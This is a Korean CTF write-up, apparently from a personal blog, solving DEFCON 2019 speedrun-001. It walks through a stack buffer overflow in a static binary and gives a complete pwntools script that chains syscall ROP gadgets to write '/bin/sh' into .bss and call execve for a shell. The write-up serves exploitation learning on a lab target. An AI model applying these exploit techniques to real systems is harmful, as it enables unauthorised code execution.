CTF/DEFCON 2019 speedrun

[DEFCON 2019] speedrun-001 풀이

jir4vvit 2021. 1. 25. 18:01

문제 풀이 환경 : ubuntu 16.04.7

빨리 풀 수 있어서 speedrun인데 난 slowrun이다..  아무튼 문제를 풀어보자.

 

Analysis

 

static으로 컴파일해서 함수명이 다 이렇다. main을 찾아야 한다.

 

start

start는 무조건 존재한다.

여기서 첫번 째 인자가 main의 주소이다...

main의 주소는 0x400BC1

 

타고 들어가보자.

main

이 친구가 main이다. 그리고 아래 sub_400B60 함수 에서 bof가 일어난다.

 

buf는 0x400이나... sub_440B60에서 0x750이나 읽어서 bof가 터진다. (read라고 추측 가능)

그리고 인자가 하나인 것으로 보아 sub_410390은 puts겠고.. 암튼 그런 느낌

 

 

음 보호기법은 NX가 걸려있고 Partial RELRO이다. got overwriting이 가능하다.

정적 링크로 컴파일 되어서 got plt 개념이 없다 ㅋㅋㅋ;;

아래 링크 참고!

Linking(링킹), Dynamic Link

 

rop기법을 써야 하나?? 

 

근데 rop를 하자니.. system 함수의 주소를 어떻게 구할지 모르겠다. (함수 이름이 sub_* 이렇게 되어있어서;;)

 

그래서 syscall rop를 하기로 했다.

 

How to exploit

  1. read 함수로 bss영역에 "/bin/sh" 문자열 삽입
  2. execve 함수로 셸 실행

syscall을 사용하자!!

 

 

read는 0번이고 execve는 59번이다.

 

가젯은 rax, rdi, rsi, rdx, syscall 을 찾아야 한다.

 

ROPgadget을 사용하면 된다.

이런식으로 찾아주면 된다.

 

근데 syscall ; ret가 안나와서 얘 찾을 때만 rp++ 을 사용하였다.

저 주소 중에서 아무꺼나 사용해도 된다.

 

 

Let's exploit!

아래는 익스 코드!! 

return to main이 익숙하다.

from pwn import *

#p = process("./speedrun-001")
p = remote("172.17.0.2", 31337)
elf = ELF("./speedrun-001")


pop_rax = 0x415664 
pop_rdi = 0x400686
pop_rsi = 0x4101f3 
pop_rdx = 0x4498b5
syscall_addr = 0x4755c5
main = 0x400BC1
bss_addr = elf.bss()
binsh = "/bin/sh\x00"

payload = ''
payload += "A" * 1032	# buf + sfp

# read
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)	# fd
payload += p64(0)
payload += p64(pop_rsi)	# buf
payload += p64(bss_addr)
payload += p64(pop_rdx)	# len
payload += p64(len(binsh))
payload += p64(syscall_addr)
payload += p64(main)

p.recvuntil("Any last words?")
p.sendline(payload)
p.send(binsh)


payload = ''
payload += "A" * 1032	# buf + sfp

# execve
payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)	# filename
payload += p64(bss_addr)
payload += p64(pop_rsi)	# NULL
payload += p64(0)
payload += p64(pop_rdx)	# NULL
payload += p64(0)
payload += p64(syscall_addr)

p.recvuntil("Any last words?")
p.sendline(payload)

p.interactive()

 

문제에서 알려준대로 docker를 다운받아 실행하고 flag를 획득하였다!

'CTF > DEFCON 2019 speedrun' 카테고리의 다른 글

[DEFCON 2019] speedrun-004 풀이  (0) 2021.02.01
[DEFCON 2019] speedrun-003 풀이  (0) 2021.01.28
[DEFCON 2019] speedrun-002 풀이  (4) 2021.01.26